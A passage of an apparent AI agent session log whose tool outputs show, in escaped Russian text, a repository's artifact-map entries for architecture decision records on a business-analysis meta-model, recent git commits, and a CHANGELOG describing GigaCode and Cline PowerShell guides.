\u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0443 \u0432\u044b\u043d\u0435\u0441\u0435\u043d \u0432 `B-163`.\\n- adr: [ADR-016: \u041d\u0430\u0432\u044b\u043a \u2014 \u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u2014 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e](docs/adr/2026-09-adr-016-skill-form-and-contract-format.md) (issue #571, `proposed`) \u2014 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `SF-1`\u2026`SF-7`: \u043d\u0430\u0432\u044b\u043a \u043e\u0442\u0434\u0435\u043b\u0451\u043d \u043e\u0442 \u0443\u0440\u043e\u0432\u043d\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0438 \u0443\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 **\u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0443\u0437\u0435\u043b** \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043b\u0438\u0431\u043e \u043e\u0434\u043d\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e; \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0444\u043e\u0440\u043c\u044b \u0437\u0430\u0434\u0430\u043d\u044b \u0441\u0440\u0435\u0434\u043e\u0439 (`SF-3`, `SF-4`); \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f `interaction` (`dialog` \\\\| `single-pass`) \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443, \u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u0440\u043e\u043c. \u0414\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0438\u043c\u0451\u043d `stepwise`/`oneshot`/`legacy` \u043a\u0430\u043a **\u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438** \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u0438\u043b\u0435 (ADR-013): ADR-016 \u043d\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0440\u0435\u0436\u0438\u043c\u044b, \u0430 \u0444\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0442\u0443 \u043e\u0441\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043e\u043d\u0438 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u043b\u0438 \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c\u044e. \u0423\u0442\u043e\u0447\u043d\u044f\u0435\u0442 ADR-015, \u0437\u0430\u043c\u0435\u043d\u044f\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u043e `SB-1`.\\n\\n81:| `/docs/ba-meta-model-overview.md` | \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f | \u2014 | \u0427\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u043e\u0431\u0437\u043e\u0440 \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0434\u043b\u044f stakeholder alignment: \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 prompt-only \u043f\u043e\u0434\u0445\u043e\u0434\u0430, \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u043e BCREQ, GigaCode mapping, Evidence Map \u0438 \u043f\u0435\u0440\u0432\u044b\u0439 MVP. | \u2705 \u0414\u0430 | `projects/ba-ai-process/ba-meta-model/`, `docs/adr/2026-09-adr-013-run-modes-deprecation.md`, `docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md`, `tools/test-ba-meta-model-overview.sh` |\\n106:| `/docs/adr/2026-09-adr-013-run-modes-deprecation.md` | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | ADR \u0434\u043b\u044f issue #563: \u0440\u0435\u0436\u0438\u043c\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 `stepwise`, `oneshot`, `legacy` \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u0432 `deprecated` \u0438 \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u044e\u0442\u0441\u044f \u0438\u0437 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0445\u0435\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438. \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435: \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u043d\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u044e\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 (\u0441\u0440\u0435\u0434\u043d\u0438\u0439 \u0416\u0430\u043a\u043a\u0430\u0440 0.077), \u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e \u0440\u0435\u0436\u0438\u043c\u0443 \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f. \u0418\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u0430\u0440\u0430 \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f + \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u00bb; \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043d\u0435 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f \u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u2014 \u043e\u043d\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438. | \u26a0\ufe0f \u041f\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 | `projects/ba-ai-process/ba-meta-model/20-taxonomy.md` |\\n108:| `/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md` | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | ADR \u0434\u043b\u044f issue #571: \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0411\u0410 \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u0430\u0437\u0438\u0441\u0430, \u0430 \u043d\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0441\u044f \u0442\u043e\u0447\u0435\u0447\u043d\u043e. \u041f\u0440\u0430\u0432\u0438\u043b\u0430 `TX-1`\u2026`TX-7`: `L0`/`L1` \u043d\u0430\u0441\u043b\u0435\u0434\u0443\u044e\u0442\u0441\u044f \u0438\u0437 BABOK v3 \u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f, `L2`/`L3` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0434\u0435\u043b\u044c\u0442\u043e\u0439 \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0441 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f, \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u2014 \u0441\u043c\u0435\u043d\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430, \u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043a\u043b\u0430\u0441\u0441 \u0432\u044b\u0445\u043e\u0434\u0430 (\u0441\u043a\u043b\u0435\u0439\u043a\u0430 \u00ab\u0424\u0422/\u0422\u0417\u00bb \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u0430), \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0430 \u0438 \u0431\u0435\u0437 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u0432\u0441\u0451 \u0432\u0435\u0442\u0432\u044f\u0449\u0435\u0435\u0441\u044f \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441. \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435: \u0432\u043e\u0441\u0435\u043c\u044c \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 `D1`\u2026`D8` \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0430\u0445 `8cbf82a` \u0438 `15aa76f`. \u041f\u0440\u0435\u0436\u043d\u0438\u0435 \u0434\u0435\u0432\u044f\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0434\u0435\u043f\u0440\u0435\u043a\u0438\u0440\u0443\u044e\u0442\u0441\u044f, \u043d\u043e \u043d\u0435 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f. | \u26a0\ufe0f \u041f\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 | `projects/ba-ai-process/ba-meta-model/process-taxonomy/`, `projects/ba-ai-process/ba-meta-model/operation-taxonomy/`, `research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md` |\\n109:| `/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md` | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | ADR \u043f\u043e [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043a PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572): \u043d\u0430\u0432\u044b\u043a \u2014 **\u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438** \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0432 \u0441\u0440\u0435\u0434\u0443, \u0430 \u043d\u0435 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438. \u041f\u0440\u0430\u0432\u0438\u043b\u0430 `SF-1`\u2026`SF-7`: \u043d\u0430\u0432\u044b\u043a \u0443\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0443\u0437\u0435\u043b \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043b\u0438\u0431\u043e \u043e\u0434\u043d\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e; \u043d\u0438\u0436\u043d\u044f\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0444\u043e\u0440\u043c\u044b \u2014 `AGENTS.md` (`GC-26`), \u0432\u0435\u0440\u0445\u043d\u044f\u044f \u2014 \u0430\u0433\u0435\u043d\u0442 \u0441 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 (`GC-28`); \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f `interaction` (`dialog` \\\\| `single-pass`) **\u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f** \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443, \u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442\u0441\u044f; \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0438\u043c\u0451\u043d \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u043a\u0430\u043a \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 (ADR-013) \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u0438\u043b\u0435. \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435: \u0442\u043e\u0447\u043a\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0434\u0435\u043b\u0438\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u0440\u043f\u0443\u0441 \u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f (`stepwise` 10/10, `oneshot` 0/9), \u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u00ab`oneshot` \u21d2 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c\u00bb \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e (9/9 `oneshot` \u0438\u043c\u0435\u044e\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c). \u0423\u0442\u043e\u0447\u043d\u044f\u0435\u0442 ADR-015 (\u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 `SB-1`), \u0434\u043e\u043f\u043e\u043b\u043d\u044f\u0435\u0442 ADR-013. | \u26a0\ufe0f \u041f\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 | `research/ba-requirements/2026-09-10-skill-granularity-format-facts.md`, `projects/ba-ai-process/ba-meta-model/process-taxonomy/10-theory.md` |\\n111:| `/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md` | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | Accepted ADR \u0434\u043b\u044f issues [#595](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/595) \u0438 [#599](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/599): \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 `Source \u2192 Distribution \u2192 Runtime \u2192 Feedback`, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process) \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c\u044e \u0438 rationale, \u0447\u0438\u0441\u0442\u044b\u0435 `execution-package-` \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u043e allowlist \u0441 provenance, \u0430 runtime [`G-Ivan-A/mango-ba-ai-runtime-cli`](https://github.com/G-Ivan-A/mango-ba-ai-runtime-cli) \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u0435\u043d \u043e\u0442 Source. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u043e \u0432 project-scoped `decisions/`; \u043f\u0435\u0440\u0432\u0430\u044f \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442 `dist/`, `tests/` \u0438 `experiments/`. \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u0430, \u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 `ba-meta-model` \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 `scope: mango-only` \u0434\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0438\u043b\u0438 \u0434\u043e\u043c\u0435\u043d\u0435. | \u26a0\ufe0f \u041f\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 | [\u0442\u0435\u043a\u0443\u0449\u0438\u0439 Source](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process), [Research Mango](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/mango), [AI Education](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ai-education), [\u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 backlog](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md), [ADR Structure Standard](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/adr-structure-standard.md) |\\necb1d94 Merge pull request #641 from G-Ivan-A/issue-638-dea7773c503b\\neda9cac ops(backlog): renumber GigaCode guide items to B-219..B-222 in sprint 27 after merging main (#638)\\n CHANGELOG.md | 2 +-\\n 1 file changed, 1 insertion(+), 1 deletion(-)\\n1317162 ci: execute GigaCode BA guides on Windows PowerShell 5.1 and 7 (#638)\\n CHANGELOG.md | 2 +-\\n 1 file changed, 1 insertion(+), 1 deletion(-)\\n54a17a3 docs(changelog): note GigaCode guide cluster (#638)\\n CHANGELOG.md | 1 +\\n 1 file changed, 1 insertion(+)\\n397afed docs(education): explain Cline MCP and validation boundaries\\n ops/artifact-map.md | 5 +++--\\n 1 file changed, 3 insertions(+), 2 deletions(-)\",\n[2026-09-29T07:59:55.471Z] [INFO]         \"is_error\": false\n[2026-09-29T07:59:55.471Z] [INFO]       }\n[2026-09-29T07:59:55.471Z] [INFO]     ]\n[2026-09-29T07:59:55.471Z] [INFO]   },\n[2026-09-29T07:59:55.471Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:55.471Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:55.471Z] [INFO]   \"uuid\": \"301d85be-6a8e-46f9-8389-d9beacf6b757\",\n[2026-09-29T07:59:55.471Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:55.430Z\",\n[2026-09-29T07:59:55.471Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:59:55.471Z] [INFO]     \"stdout\": \"---\\nstatus: canonical\\nversion: 2.11\\nupdated: 2026-09-28\\ntemperature: 0.1\\n---\\n\\n# Changelog\\n\\nAll notable repository governance changes are documented here.\\n\\n## Unreleased\\n\\n### Added\\n\\n- projects: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f GigaCode-\u043f\u0430\u043a\u0435\u0442\u0430 `junior-guide.md` \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0432 [\u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439](projects/ba-ai-process/dist/execution-package-gigacode-cli/docs/guides/README.md) \u043f\u043e \u043e\u0431\u0440\u0430\u0437\u0446\u0443 Cline-\u043f\u0430\u043a\u0435\u0442\u0430 (issue [#638](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/638)): \u043e\u0431\u0437\u043e\u0440 \u0438 \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 GigaCode CLI, \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0435\u043c Python \u0432\u043d\u0435 \u043f\u0430\u043f\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u0431\u0430\u0437\u043e\u0439 \u0437\u043d\u0430\u043d\u0438\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442 `docs/kb/`, \u0443\u0447\u0435\u0431\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d `TASK-0001` \u0441 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c A-IN, \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a \u043a\u043e\u043c\u0430\u043d\u0434 \u0441 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435\u043c Working \u0438 \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u043e\u0442\u043b\u0430\u0434\u043a\u0438, \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u0430\u0433\u0435\u043d\u0442\u043e\u043c \u043f\u043e \u0432\u0441\u0435\u043c \u0443\u0437\u043b\u0430\u043c `RG-BCREQ-v1` \u0441\u043e \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u043e\u0439 \u0444\u0440\u0430\u0437\u043e\u0439, \u0442\u0430\u0431\u043b\u0438\u0446\u0435\u0439 \u0443\u0437\u043b\u043e\u0432 \u0438 \u043e\u0442\u043a\u0430\u0437\u0430\u043c\u0438 runner. \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e Windows 10/11 (x64): \u0432\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, `README.md`, `AGENTS.md` \u0438 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 PowerShell, \u0447\u0442\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 BOM, \u043a\u043b\u043e\u043d \u0441 `core.autocrlf` \u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `.git` \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043b\u043e\u043c\u0430\u044e\u0442 `G-mach`. \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043a\u0430\u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u041e-2\u2026\u041e-10 \u0438 \u0437\u0430\u0434\u0430\u0447\u0438 B-219\u2026B-221; \u043d\u043e\u0432\u044b\u0439 `test_guides.py` \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0431\u043b\u043e\u043a\u0438 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432 Windows PowerShell 5.1 \u0438 PowerShell 7 (CI-\u0437\u0430\u0434\u0430\u0447\u0430 `windows-guides`), \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 \u0432\u0441\u0435\u0445 \u0431\u043b\u043e\u043a\u043e\u0432, \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u0442\u0435\u043a\u0441\u0442\u044b \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n- projects: [\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f Cline-\u043f\u0430\u043a\u0435\u0442\u0430](projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/README.md) \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u043d\u0430 \u043f\u043e\u0434 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 BCREQ (issue [#636](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/636)): \u0441\u0442\u0430\u0440\u0442 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u043d\u0430 Jira \u0438\u043b\u0438 \u0442\u0435\u043a\u0441\u0442\u0443 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0443\u044e \u0444\u0440\u0430\u0437\u0443 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 Plan, \u0443\u0447\u0435\u0431\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d, \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0438 \u0431\u043b\u043e\u043a\u0438 \u00ab\u0413\u0434\u0435 / 